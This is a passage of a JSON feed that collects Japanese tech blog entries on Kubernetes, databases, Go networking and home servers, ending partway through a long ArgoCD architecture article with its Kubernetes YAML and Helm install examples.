Routeを設定したりするサンプルを作ったりした。https://github.com/bells17/netlink-gosample Netlinkとは調べた範囲だと、Linuxカーネルのサブシステムの1つで、ルーティングテーブルの管理などのネットワーク関連の設定などを行う際に利用されるもの、という理解をしている。Netlinkは、Linuxカーネルとユーザ空間プロセス間の、またはカーネル内の通信を提供するためのIPC(Inter-pro...","link":"https://zenn.dev/bells17/articles/netlink-goexample","isoDate":"2023-06-08T18:03:10.000Z","dateMiliSeconds":1686247390000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes 1.27 以降のバッチ処理の改善","contentSnippet":"Kubernetes 1.27 以降で実装済みまたは予定されているバッチ処理の改善に繋がる KEP や Kubernetes のサブプロジェクトの現状を見ていきます。 KEP-3673: Kubelet limit of Parallel Image Pulls!Kubernetes 1.27 時点でアルファ機能です。1.28 でベータを目指していますが、設定はデフォルトで無効化されています。Pod の起動にノードのスケールアウトが必要な場合に、Pod の起動時間の短縮が期待できます。バッチ処理の Pod が一斉に起動するケースで恩恵を受けられそうです。Kubelet は...","link":"https://zenn.dev/toversus/articles/d6065bea460871","isoDate":"2023-06-08T03:46:32.000Z","dateMiliSeconds":1686195992000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"asdf の代わりに rtx を使う","contentSnippet":"nodeenv とか rbenv とか tfenv とか XXenv がそれぞれ .xxx-version というファイルにそのディレクトリ配下で使用する software の version を指定するという仕様があり、それらをまとめてやってくれる","link":"https://blog.1q77.com/2023/06/rtx/","isoDate":"2023-06-07T01:25:11.000Z","dateMiliSeconds":1686101111000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"お前のパケットはもう死んでいる。TCPに死亡フラグを実装してみた","contentSnippet":"はじめにプロトコルの仕様などIETFが発行しているRFCにはジョークRFCというものが存在しています。伝書鳩でIP通信するとか、コーヒーポットを制御するなどが有名です。鳥類キャリアによるIPHyper Text Coffee Pot Control Protocol (HTCPCP/1.0) 日本語訳今年そんなジョークRFCに、TCPに死亡フラグを実装するというRFC9401が追加されました。The Addition of the Death (DTH) Flag to TCP 日本語訳この記事ではこのTCPに死亡フラグを実装するというRFC9401を真面目に実装してみ...","link":"https://zenn.dev/satoken/articles/golang-rfc9401","isoDate":"2023-06-07T00:32:17.000Z","dateMiliSeconds":1686097937000,"authorName":"satoken","authorId":"satoken"},{"title":"PC作ってみた","contentSnippet":"SECCON Beginners CTF 2023 でボコボコにされて、少し萎えていますが、超絶久しぶりにブログでも書きます。なぜ自作PCまず、4月29, 30日(土・日)にGMOインターネットグループが開催するDevSecOpsThon2023というイベントに参加しました。これに関しては、イベント直後に、参加記を書こうと思っていたのですが、書かんといけないな〜と思いながら、2週間も経つと、完全に書く気がなくなりました。気になる方は、下に他の参加者さんが書いたリンクを貼っているのでそちらからご覧ください。イベントの参加者には、自宅サーバ勢が多く、確か半分くらいは、自宅にサーバを立てていたと思います。イベント自体が、インフラハッカソンというちょっと変わったイベントで、ハードウェアやOS、ミドルウェアといった低レイヤの知識を必要としており、もう自宅サーバ勢が無双状態で、自分の知識の欠如を非常に実感しました。そこで、その人たちに近づくための第一歩として、自作PCに取り組もうと思いました。developers.gmo.jpDevSecOpsThon2023 参加ブログ・DevSecOpsThonに参加してきた・「DevSecOpsThon at GMO kitaQ」に参加したらすごく良かった件!! - Qiita・DevSecOpsThon2023 at GMO kitaQ - Qiita・【\uD83D\uDCDD】DevSecOpsThon at GMO kitaQ\xa0自作PCに取り組むこれに取り組んだのは、5月27, 28日でした。この理由は、25日に給料日だったからですね。まずは、パーツの選択と購入から始めました。別にゲーム用途ではないため、GPUはいらない代わりに、グラフィック機能があるCPUにしたり、メモリの拡張性を考えて、4スロットあるマザーボードにしたりしました。初めての自作PCということで、そこまでスペックのいいものを作る気は最初からなく、まぁ10万円くらいかなと考えていたのですが、メモリやSSDが思ったよりも安く、7万円くらいで全てのパーツを購入することができました。購入したパーツが届いたら、あとは組み立てるだけでした。ググったら、自作PCについてのサイトはたくさん出てきましたが、正直マザーボードとPCケースの取扱説明書だけでも十分なほど説明が細かく書いてあります。全てのパーツをマザーボードにくっつけるだけなので、そこまで難しくはなく、電源など配線が終わったら、本当に起動してくれるのかドキドキしながら、電源ボタンを押しました。プラス端子とマイナス端子を逆にしていないかなど心配しながらも、BIOS画面が立ち上がった時はとても安心したし、嬉しかったです。ここまできたら、あとはブータブルUSBからOSを起動するだけで、無事に初めての自作PCを完成させることができました。今は、仮想マシンを複数台起動していて、それを使って、遊びつつ、勉強していこうと思っています。とりあえずは、Kubernetesクラスタを組んでみたり、脆弱性検証から始めていこうって感じです。自作PCのメモについては、下のリンク先にあります。moz-security.me作ってみて自作PCというと、とてもハードルが高いように感じますが、実際に作ってみると意外と簡単だし、色々と勉強になることもたくさんあります。また、デスクトップという制約はあるものの、同じ値段であれば、ノートPCよりもいいスペックで構築することができるし、店頭にあるデスクトップPCと比べても、自分で改造できるため、拡張性があるといったメリットがあります。一度だけでも作ってみるのはおすすめです。(自分に合わなければ、2度目をなくせばいいだけ)","link":"https://moz-security.hatenablog.com/entry/2023/06/04/172414","isoDate":"2023-06-04T08:24:14.000Z","dateMiliSeconds":1685867054000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Redis公式のGoクライアントライブラリrueidisを試してみた","contentSnippet":"This 記事 is 何?Twitterぼんやり見てたらRedis公式のGo用クライアントライブラリが出てたとかで、自身のプロジェクトにどの程度簡単に入れられるのかなーと思い試してみました。公式…","link":"https://qiita.com/bayobayo0324/items/8ac3e27eef360a316ad2","isoDate":"2023-05-31T12:02:25.000Z","dateMiliSeconds":1685534545000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"データフレームからの表組みを楽にするftExtra 0.6.0をリリース!脚注の書式指定が柔軟に!!","contentSnippet":"ftExtra 0.6.0では、脚注に関する機能が強化されました。ftExtraパッケージはRで表を出力する際に、セルの文字列をマークダウンとしてフォーマットする機能などを提供するパッケージです1。デフォルトではR Markdownと同様にマークダウン方言としてPandoc’s Markdownを採用しており、^[aaa]といった記法で脚注を記載できます。","link":"https://blog.atusy.net/2023/05/30/ftextra-0-6-0/","isoDate":"2023-05-30T00:00:00.000Z","dateMiliSeconds":1685404800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本のビットコイン決済を振り返る","contentSnippet":"https://cryptocurrency.connpass.com/event/280644/\\r2023年5月ビットコインとかミートアップでビットコイン決済についてLTしました。","link":"https://speakerdeck.com/shukob/ri-ben-nohitutokoinjue-ji-wozhen-rifan-ru","isoDate":"2023-05-27T04:00:00.000Z","dateMiliSeconds":1685160000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"OLAPデータベースを支える技術","contentSnippet":"今年に入ってからCarnegie Mellon UniversityのAdvanced Database SystemsでReading Assignmentとして出ている論文リストで必須とされているものや講義資料を読みました。https://nnaka2992.hatenablog.com/archive/category/論文この記事では紹介されていた論文やAdvanced Database Systemsの講義資料・動画を振り替えることで、BigQueryやRedShift、Snowflakeといった最新の分析用データベースがどのように優れたパフォーマンスを実現しているかを考え...","link":"https://zenn.dev/nnaka2992/articles/technics_behind_analytical_database","isoDate":"2023-05-25T00:02:49.000Z","dateMiliSeconds":1684972969000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"leap.nvimを拡張して検索対象にラベルをつけて飛べるleap-search.nvimを作った","contentSnippet":"本記事はVim駅伝の5/24の記事です。leap.nvimについてeasymotion系のNeovimプラグインとしてメジャーどころにはhop.nvimやleap.nvimがあります。leap.nvimはいわゆるeasymotion系のプラグインで、入力した文字にマッチする箇所にラベル(a, b, c, …)をつけ、ラベルを入力するとその位置にカーソルを移動します。デフォルトの挙動はeasymotionの2-character search motionに近いもので、2文字にマッチする箇所にラベルをつけます。","link":"https://blog.atusy.net/2023/05/24/leap-onto-matched-patterns/","isoDate":"2023-05-24T00:00:00.000Z","dateMiliSeconds":1684886400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでドキュメントのYAMLフロントマター(メタデータ)を抽出する","contentSnippet":"以下のようなMarkdownファイルがあってYAMLフロントマターから .data.hoge を取り出したい、みたいなことはしばしばあります。---title: タイトルauthor: atusydata: hoge: fuga---なんかコンテンツこういう時、うまく grep コマンドとか使ってやるのも手ですが、Pandocの力でYAMLファイルを生成しても面白いでしょう。","link":"https://blog.atusy.net/2023/05/18/pandoc-extract-metadata/","isoDate":"2023-05-18T00:00:00.000Z","dateMiliSeconds":1684368000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"現在のDremelの実装を解説した論文を読みました ","contentSnippet":"この記事の趣旨2020年に発表されたBigQueryの元となったGoogle内で利用されている分析向けデータベースであるDremelの実装を解説した論文を読みました。Dremel: A Decade of Interactive SQL Analysis at Web Scale著者についてSergey Melnik, Andrey Gubarev, Jing Jing Long, Geoffrey Romer, Shiva Shivakumar, Matt Tolton,Theo Vassilakisら2010年のDremel発表論文の著者らと、Hossein Ahmadi, Dan Delorey, Slava Min, Mosha Pasumansky, Jeff ShuteらGoogleで分析ワークロードと分散処理に関わる著者らによる論文。概要BigQueryの元となったGoogleのDremelの10年間を振り替えってアーキテクチャについて説明した論文。Dremelは現代のクラウドネイティブ分析ツールで一般的になっている、計算リソースとストレージの分解、カラムナストレージ、in situデータ分析などを統合した最初のツールである。手法SQLの採用Googleでは殆どのデータはBigTableなどNoSQLデータベースで管理されていたため、SQLを用いないデータアクセスが主流であった。しかしトランザクション型ビッグデータシステムにおける、SQLの採用に共ないDremelでもSQLを採用した。ストレージの分離メモリの分離MapReduceのシャッフルのボトルネックを回避するためにDisaggregated Memory Shuffle Systemを採用した。In situデータ分析への対応DBMSへのデータロードを必要としないデータ分析のことで、DremelではGFSに移行するときにGoogle内で共有のストレージフォーマットを使用することでGoogle内のデータに対応した。加えてGoogle Cloud StorageやGoogle Drive、MySQL、BigTableなどからのデータ取得もフェデレーションとして対応した。サーバレスアーキテクチャフォールトトレラントリスタート、仮想スケジューリングユニットによりマルチテナントかつオンデマンドなリソースを提供可能とし、低価格な利用を可能とした。現在ではサーバレスアーキテクチャを進化させ、集中型スケジューリングやShuffle Persistent Layer、柔軟なDAG実行、動的クエリ実行などを実装することでより優れたサーバレスアーキテクチャを実現した。ネストデータにおけるカラムナストレージ[[32])]Figure 5Figure 6Figure 7クエリレイテンシの最小化インタラクティブな実行のレイテンシは大きくなる。それを解決するためにDremelではスタンバイサーバプール、マルチレベル実行ツリー、列指向スキーマ表現、CPUとIO負荷のバランス調整、ファイルオペレーションの再利用、保証されたキャパシティ、適合的なクエリスケーリングにより実現している。作業時間read27:5027:50author32:024:12summary68:5026:48","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/17_dremel","isoDate":"2023-05-15T02:14:20.000Z","dateMiliSeconds":1684116860000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Tailscale + Samba + NextCloudでおうちクラウド始めた","contentSnippet":"外出先から家にあるデータにアクセスしたい(義)両親に家族写真を共有したいデバイス間でデータを同期したいデータ容量の制限を考えたくないセキュリティはそこそこ欲しい変なデータ混ざっても垢BANされたくないこういった要望を叶えるためにtailscaleで構築したVPN内でのみアクセスできるSamba(ファイル共有)とNextCloud(DropBox的なもの)をたててみました。","link":"https://blog.atusy.net/2023/05/12/tailscale-nextcloud/","isoDate":"2023-05-12T00:00:00.000Z","dateMiliSeconds":1683849600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Connection draining for Service type LoadBalancer","contentSnippet":"はじめにService リソースは Kubernetes のサービス検出を支えるコアリソースです。Service のデータプレーンとして kube-proxy を使用している場合は、各ノード上の iptables や ipvs を設定することで L4 負荷分散を実現しています。Kubernetes は、結果整合性 (Eventual Consistency) の上に成り立つ分散システムです。Kubernetes のコントロールプレーンが Pod を削除する時に、全てのノード上のルーティングルールを更新してから Pod を削除したりはしません。削除中の Pod にもトラフィックが流...","link":"https://zenn.dev/toversus/articles/1682d275ef1bb7","isoDate":"2023-05-11T09:43:47.000Z","dateMiliSeconds":1683798227000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"TiDBで学ぶNewSQLのアーキテクチャ for Beginners","contentSnippet":"はじめにこの記事ではNewSQLの特徴であるノード間の分散とトランザクションや分断耐性などがTiDBではどのような技術によって実現されているかを説明することを目的としています。Spannerの論文が2012年に発表されてから10年以上の年月が流れ、優れた論文や実装ドキュメント、個人による解説ブログなど技術的詳細について述べた資料は多くあります。加えてこの記事を入門的なものと位置づけているため各コンポーネントを網羅的に解説するというよりは、キーコンセプトをどのように実装しているのかを実験を混じえながら動作の実現方法の解説を中心に扱います。また今回はTiDBをベースに説明し...","link":"https://zenn.dev/nnaka2992/articles/learning_tidb_internal_for_beginner","isoDate":"2023-05-11T01:18:19.000Z","dateMiliSeconds":1683767899000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"クエリオプティマイザの精度を検証した論文を読みました","contentSnippet":"この記事の趣旨2015年に発表されたクエリオプティマイザにおけるカーディナリティ推定とコストモデル、列挙アルゴリズムの貢献度を評価した論文を読んでいきます。How Good Are Query Optimizers, Really?著者についてViktor Leis、Andrey Gubichev、Atanas Mirchev、Peter Boncz、Alfons Kemper、Thomas Neumannらのグループによる論文。ほとんどのメンバーはDBMSにおける最適化について研究しているが、Atanas Mirchevはより統計や探索といった最適化よりの研究をしている。問題意識良い結合順序を見つけることはクエリの性能に対して大きな影響を与えるため、熱心に研究されてきた。古典的なクエリ最適化のアプローチでは以下のステップで動的計画方に基づいた最適化を行なう。1. 有効な結合順序の列挙1. カーディナリティ推定値を入力としたコストモデルの選択理論的にはカーディナリティとコストモデルの推定値が正確であれば、最適なクエリプランを選択することができる。しかし現実にはカーディナリティ推定は一様性や独立性といった単純化された仮定に基づいており、しばしばそのような仮定は間違っているため悲惨な計画を作成する。手法この論文ではカーディナリティ推定器の評価と正確なコストモデルの重要性の評価、そして列挙された結合順序の空間がどの程度影響するのかを以下の方法で検証し、貢献を行なっている。1. IMDBデータを用いたJoin Order BenchmarkというJOINにフォーカスしたベンチマークによる評価を行なう1. 実世界のデータセットにおける現実的なクエリを用いたE2Eの検証を行なう。1. クエリ性能に対するカーディナリティ・コストモデル・列挙アルゴリズムの貢献度を定量化し、最適なクエリプラン生成のためのガイドラインを策定している。作業時間read29:3829:38author33:083:30summary48:4414:36感想時間が無くまとめ途中で切り上げてしまった。やらないよりマシではあるものの、ちゃんと纏めるときにくらべて理解度に影響が出そうなので時間に余裕を持っておきたい。内容自体はGW中にPostgreSQLの実装を読んでいたこともあり、わりと理解しやすかった。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/16_query_optimization_performance","isoDate":"2023-05-08T02:13:43.000Z","dateMiliSeconds":1683512023000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.27] Dynamic Resource Allocation のいま","contentSnippet":"!Kubernetes 1.27 時点でアルファ機能のため、実装が大きく変わる可能性があります。 はじめにKubeCon Europe 2023 で KEP-3063 Dynamic Resource Allocation (DRA) についての深い話と DRA Resource Driver の実装方法の話があったので、kubernetes-sigs/dra-example-driver をベースに触りながら検証してみました。toVersus/fake-dra-driver で公開しています。Device Plugins 2.0: How to Build a Drive...","link":"https://zenn.dev/toversus/articles/fe2aa06f133b49","isoDate":"2023-05-06T02:11:55.000Z","dateMiliSeconds":1683339115000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"TailscaleをDockerで動かすと、再起動時に認証失敗 or IPアドレスが変わってしまう問題への対処","contentSnippet":"DockerでTailscaleを使ったVPNを構築してみました。公式の案内では以下の手順でauth keyを用いた起動ができます。docker run -d --name=tailscaled \\\\ -v /var/lib:/var/lib -v /dev/net/tun:/dev/net/tun \\\\ --network=host --cap-add=NET_ADMIN --cap-add=NET_RAW \\\\ --env TS_AUTHKEY={{ auth key }} \\\\ tailscale/tailscaleしかし、この方法は公式も記述している通り一時的な(ephemeral)用途向きです。","link":"https://blog.atusy.net/2023/05/05/tailscale-docker/","isoDate":"2023-05-05T00:00:00.000Z","dateMiliSeconds":1683244800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【ArgoCD\uD83D\uDC19】ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️ArgoCDのアーキテクチャを構成するコンポーネントの種類についてArgoCDがマニフェストを自動デプロイする仕組みについてこの記事から得られる知識01. はじめに02. 概要アーキテクチャレイヤーコンポーネント仕組み(1) repo-serverによるクローン取得(2) application-controllerによるマニフェスト取得(3) application-controllerによるCluster確認(4) application-controllerによる処理結果保管(5) argocd-serverによるキャッシュ取得(6) 管理者のログイン(7) IDプロバイダーへの認証フェーズ委譲(8) dex-serverによる認証リクエスト送信(9) argocd-serverによる認可フェーズ実行(10) application-controllerによるマニフェストデプロイ03. repo-serverrepo-serverとは仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピー(2) repo-serverによる認証情報取得(3) repo-serverのよるクローン取得とポーリング(4) repo-serverによるサイドカーコール(5) repo-serverによる暗号化キーと暗号化変数の取得(6) サイドカーによるプラグイン処理の取得(7) サイドカーによるプラグイン処理の実行04. application-controller、redis-serverapplication-controllerとはredis-serverとは仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンド(2) application-controllerによるArgoCD系カスタムリソースのReconciliation(3) application-controllerによるマニフェスト取得(4) application-controllerによるヘルスチェック(5) application-controllerによるマニフェスト差分検出(6) application-controllerによる処理結果保管(7) application-controllerによるマニフェストデプロイ05. dex-serverdex-serverとは仕組み(1) プロダクト用Cluster管理者のログイン(2) IDプロバイダーへの認証フェーズ委譲(3) dex-serverによる認可リクエスト作成(4) dex-serverによる認可リクエスト送信(5) IDプロバイダーによる認証フェーズ実施(6) argocd-serverによる認可フェーズ実施06. argocd-server (argocd-apiserver)argocd-serverとは仕組み(1) application-controllerによるヘルスチェック(2) application-controllerによるマニフェスト差分検出(3) application-controllerによる処理結果保管(4) application-controllerによる処理結果取得(5) プロダクト用Cluster管理者のログイン(6) Ingressコントローラーによるルーティング(7) IDプロバイダーへの認証フェーズ委譲(8) IDプロバイダーによる認証フェーズ実施(9) argocd-serverによる認可フェーズ実施(10) application-controllerによるマニフェストデプロイ07. アーキテクチャのまとめ08. おわりに謝辞記事関連のおすすめ書籍01. はじめにロケットに乗るタコのツラが腹立つわー。画像引用元:Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19とAWS EKSをリプレイスしました。今回は、採用した設計プラクティスの紹介も兼ねて、ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組みを記事で解説しました。ArgoCDは、kubectlコマンドによるマニフェストのデプロイを自動化するツールです。ArgoCDのアーキテクチャには変遷があり、解説するのは執筆時点 (2023/05/02) で最新の 2.6 系のArgoCDです。アーキテクチャや仕組みはもちろん、個々のマニフェストの実装にもちょっとだけ言及します。それでは、もりもり布教していきます\uD83D\uDE1702. 概要アーキテクチャレイヤーまずは、ArgoCDのアーキテクチャのレイヤーがどのようになっているかを見ていきましょう。ArgoCD公式から、コンポーネント図が公開されています。図から、次のようなことがわかります\uD83D\uDC47下位レイヤー向きにしか依存方向がなく、例えばコアドメインとインフラのレイヤー間で依存性は逆転させていない。レイヤーの種類 (UI、アプリケーション、コアドメイン、インフラ) とそれらの依存方向から、レイヤードアーキテクチャのようなレイヤーに分けている。特にコアドメインレイヤーが独立したコンポーネントに分割されており、マイクロサービスアーキテクチャを採用している。argo-cd/docs/developer-guide/architecture/components.md at v2.8.0 \xb7 argoproj/argo-cd \xb7 GitHub▶ ArgoCDのマイクロサービスアーキテクチャの分割単位についてMonolith to Microservices: Evolutionary Patterns to Transform Your Monolith (English Edition)▶ ArgoCDのマイクロサービスアーキテクチャの設計図についてhttps://microsoft.github.io/code-with-engineering-playbook/design/diagram-types/DesignDiagramsTemplates/componentDiagrams/コンポーネント次に、コンポーネントの種類を紹介します。ArgoCDの各コンポーネントが組み合わさり、マニフェストの自動的なデプロイを実現します。ArgoCD (2.6系) のコンポーネントはいくつかあり、主要なコンポーネントの種類とレイヤーは以下の通りです\uD83D\uDC47 コンポーネント レイヤー 機能 argocd-server(argocd-apiserver) UI・アプリケーション みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能します。現在、複数のレイヤーの責務を持っており、将来的にUIとアプリケーションは異なるコンポーネントに分割されるかもしれません。 application-controller コアドメイン Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。 repo-server コアドメイン マニフェスト/チャートリポジトリからクローンを取得します。また、クローンからマニフェストを作成します。 redis-server インフラ application-controllerの処理結果のキャッシュを保管します。 dex-server インフラ SSOを採用する場合、argocd-serverの代わりに認可リクエストを作成し、またIDプロバイダーに送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。 GitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。仕組みそれでは、ArgoCDは、どのようにコンポーネントを組み合わせて、マニフェストをデプロイするのでしょうか。ここではプロダクト用Cluster管理者 (デプロイ先となるClusterを管理するエンジニア) は、ArgoCDのダッシュボードを介してマニフェストをデプロイするとしましょう。まずは、概要を説明していきます。(1) repo-serverによるクローン取得ArgoCDのCluster上で、repo-serverがマニフェスト/チャートリポジトリのクローンを取得します。(2) application-controllerによるマニフェスト取得application-controllerは、repo-serverからマニフェストを取得します。(3) application-controllerによるCluster確認application-controllerは、プロダクト用Clusterの現状を確認します。(4) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(5) argocd-serverによるキャッシュ取得argocd-serverは、redis-serverからキャッシュを取得します。(6) 管理者のログインプロダクト用Cluster管理者は、argocd-serverにログインしようとします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。▶ argocd-serverのログイン手法について(8) dex-serverによる認証リクエスト送信dex-serverは、IDプロバイダーに認可リクエストを作成し、これをIDプロバイダーに送信します。(9) argocd-serverによる認可フェーズ実行argocd-serverで認可フェーズを実施します。ログインが完了し、プロダクト用Cluster管理者は認可スコープに応じてダッシュボードを操作できます。▶ ArgoCDをどのClusterで管理するかについて(10) application-controllerによるマニフェストデプロイapplication-controllerは、Clusterにマニフェストをデプロイします。マニフェストのデプロイの仕組みをざっくり紹介しました。ただこれだと全く面白くないため、各コンポーネントの具体的な処理と、各々がどのように通信しているのかを説明します✌️03. repo-serverrepo-serverとはまずは、コアドメインレイヤーにあるrepo-serverです。マニフェスト/チャートリポジトリ (例:GiHub、GitHub Pages、Artifact Hub、AWS ECR、Artifact Registryなど) からクローンを取得します。repo-serverを持つPodには、他に軽量コンテナイメージからなるInitContainerとサイドカー (cmp-server) がおり、それぞれ機能が切り分けられています\uD83D\uDC4D仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピーrepo-serverの起動時に、InitContainerでお好きなマニフェスト管理ツール (Helm、Kustomizeなど) やプラグイン (helm-secrets、KSOPS、SOPS、argocd-vault-pluginなど) をインストールします。また、サイドカーのcmp-serverでは起動時に/var/run/argocd/argocd-cmp-serverコマンドを実行する必要があり、InitContainer (ここではcopyutilコンテナ) を使用して、ArgoCDのコンテナイメージからargocd-cliのバイナリファイルをコピーします。repo-serverのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、ArgoCDで使いたいツール (Helm、SOPS、helm-secrets) をInitContainerでインストールしています。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: argocdspec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest initContainers: # HelmをインストールするInitContainer - name: helm-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # SOPSをインストールするInitContainer - name: sops-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # helm-secretsをインストールするInitContainer - name: helm-secrets-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /helm-working-dir/plugins name: helm-working-dir ... # cmp-serverにargocd-cliのバイナリをコピーするInitContainer - name: copyutil image: quay.io/argoproj/argocd:latest command: - cp - -n - /usr/local/bin/argocd - /var/run/argocd/argocd-cmp-server volumeMounts: - name: var-files mountPath: /var/run/argocd # Podの共有ボリューム volumes: - name: custom-tools emptyDir: {} - name: var-files emptyDir: {}Custom Tooling - Argo CD - Declarative GitOps CD for Kubernetes▶ ArgoCDのコンテナイメージに組み込まれているツールについてquay.io/argoproj/argocd) には、いくつかのツール (例:Helm、Kustomize、Ks、Jsonnetなど) の推奨バージョンがあらかじめインストールされています。そのため、これらのツールのプラグイン (例:helm-secrets) を使用する場合、上記のコンテナイメージからなるrepo-server内のツールをcmp-serverにコピーすればよいのでは、と思った方がいるかもしれません。この方法は全く問題なく、cmp-serverの/usr/local/binディレクトリ配下にツールをコピーするように、InitContainerを定義してもよいです。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest volumeMounts: - mountPath: /usr/local/bin/helm # Podの共有ボリュームを介して、repo-serverでHelmを使用する。 name: custom-tools initContainers: - name: copy-helm image: quay.io/argoproj/argocd:latest # InitContainer上のHelmをVolumeにコピーする command: - /bin/cp - -n - /usr/local/bin/helm - /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools # 共有ボリューム volumes: - name: custom-tools emptyDir: {}反対に、これらツールをInitContainerでインストールし直す場合は、ArgoCD上での推奨バージョンをちゃんとインストールするようにしましょう\uD83D\uDC4D2.6系では、ArgoCDのリポジトリ内のtool-versions.shファイルに、Helmのバージョンが定義されています。spec: ... initContainers: - name: helm-installer image: alpine:latest command: - /bin/sh - -c # ArgoCDのリポジトリ上のtool-versions.shファイルから、Helmのバージョンを取得する args: - | apk --update add curl wget ARGOCD_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-helm/argo-cd-/charts/argo-cd/Chart.yaml | grep appVersion | sed -e \'s/^[^: ]*: //\') HELM_RECOMMENDED_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-cd/\\"${ARGOCD_VERSION}\\"/hack/tool-versions.sh | grep helm3_version | sed -e \'s/^[^=]*=//\') wget -q https://get.helm.sh/helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz tar -xvf helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz cp ./linux-amd64/helm /custom-tools/ chmod +x /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools ...argo-cd/hack/tool-versions.sh at v2.6.0 \xb7 argoproj/argo-cd \xb7 GitHub(2) repo-serverによる認証情報取得repo-serverは、Secret (argocd-repo-creds) からリポジトリの認証情報を取得します。argocd-repo-credsではリポジトリの認証情報のテンプレートを管理しています。指定した文字列から始まる (最長一致) URLを持つリポジトリに接続する場合、それらの接続で認証情報を一括して適用できます。argocd-repo-credsのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、リポジトリのSSH公開鍵認証を採用し、argocd-repo-credsに共通の秘密鍵を設定しています。apiVersion: v1kind: Secretmetadata: name: argocd-repo-creds-github namespace: argocd labels: argocd.argoproj.io/secret-type: repo-credstype: Opaquedata: type: git url: https://github.com/hiroki-hasegawa # 秘密鍵 sshPrivateKey: | MIIC2 ...あとは、各リポジトリのSecret (argocd-repo) にURLを設定しておきます。すると、先ほどのargocd-repo-credsのURLに最長一致するURLを持つSecretには、一括して秘密鍵が適用されます。# foo-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: argocd name: foo-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: bar-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/bar-chart.git---# baz-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: foo name: baz-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: baz-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/baz-chart.gitDeclarative Setup - Argo CD - Declarative GitOps CD for Kubernetes(3) repo-serverのよるクローン取得とポーリングrepo-serverは、認証情報を使用して、リポジトリにgit cloneコマンドを実行します。取得したクローンを、/tmp/_argocd-repoディレクトリ配下にUUIDの名前で保管します。また、リポジトリの変更をポーリングし、変更を検知した場合はgit fetchコマンドを実行します。# クローンが保管されていることを確認できる$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/_argocd-repo/\\"# リポジトリ内のファイルChart.yaml README.md templates values.yamlcustom repo-server - where is the local cache kept? \xb7 argoproj argo-cd \xb7 Discussion #9889 \xb7 GitHub▶ repo-serverでのクローン保管先のバージョン差異について2.3以前では、repo-serverは/tmpディレクトリ配下にURLに基づく名前でクローンを保管します。$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/https___github.com_hiroki-hasegawa_foo-repository\\"# リポジトリ内のファイルChart.yaml README.md templates values.yaml(4) repo-serverによるサイドカーコールrepo-serverは、自身にマウントされたいくつかのマニフェスト管理ツール (例:Helm、Kustomize) 